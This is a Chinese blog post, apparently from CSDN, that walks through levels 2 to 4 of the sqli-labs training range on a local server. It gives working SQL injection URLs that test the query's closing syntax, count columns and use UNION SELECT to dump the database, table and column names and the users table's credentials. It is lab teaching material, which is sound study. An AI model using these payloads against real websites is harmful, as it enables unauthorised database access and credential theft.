sqli-labs靶场2-4关详解

本文详细介绍了SQL注入攻击的识别和利用过程,包括整型注入、单引号变形字符注入和双引号字符注入。通过sqli-labs靶场的第二关至第四关为例,展示了如何判断注入类型、字段数、数据库名、表名、字段名以及获取数据的步骤。文章强调了理解报错信息和构建正确SQL语句的重要性,并预告了后续将探讨的盲注技术。
摘要由CSDN通过智能技术生成

sqli-labs靶场2-4关详解

第二关
1.判断注入类型:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 正常
http://127.0.0.1/sqli-labs-master/Less-2/?id=1’ 异常
http://127.0.0.1/sqli-labs-master/Less-2/?id=1’ --+ 异常
由此判断为整型注入
2.判断字段数:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 正常
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 4 异常
判断字段数为3
3.爆数据库名
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,database(),3
可以查询到数据库名为security
4.爆表名
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=‘security’),3
由此获得security的四个表,emails,referers,uagents,users
5.爆字段名
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(column_name)from information_schema.columns where table_schema=‘security’ and table_name=‘users’),3
获得表users的三个字段名,id,username,password
6.取数据
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(id,username,password)from users),3
最终获得users表全部数据,通关了!!!

第三关
第三关是单引号变型字符注入,与前面两关的注入方法基本类似,要过这一关我们主要需要知道它报错的原因在哪,然后用前两关同样的方式构建SQL语句就OK了。
同样滴,我们先构建单引号报错,注意看报错信息!!!这很重要!
http://127.0.0.1/sqli-labs-master/less-3/?id=1’
在这里插入图片描述

可以详细比较一下,它与第一关报错信息的区别,相信你们的火眼金睛肯定马上就能发现它的报错信息use near “1”)这里多了一个括号,这就是问题所在了。我们可以想象一下他在数据库中的查询语句为 SELECT username FROM tables where id=(‘ $id ’)。因此我们构建SQL语句时就不止要考虑单引号闭合,还要考虑括号的闭合。
构建URL:http://127.0.0.1/sqli-labs-master/less-3/?id=1’) order by ,4 --+
得到它的字段数,剩下的与前面两关就差不多了。

第四关
第四关是双引号字符注入,重点在于构建报错信息,当我们在尝试的时候,整型和加上单引号都不会报错,但是当注入双引号时,就会出现报错信息,如下:
在这里插入图片描述

同上关卡,想象它在数据库中的实际查询语句:SELECT username FROM tables where
id=(“$id”)。由此我们构建SQL语句就要考虑双引号和括号的闭合,如下:
http://127.0.0.1/sqli-labs-master/less-4/?id=1") order by 4 --+
得到字段数为3,剩下步骤同第一关。

从第五关开始就是盲注了,下一篇再专门讲这个吧。

更多内容关注微信公众号:
在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值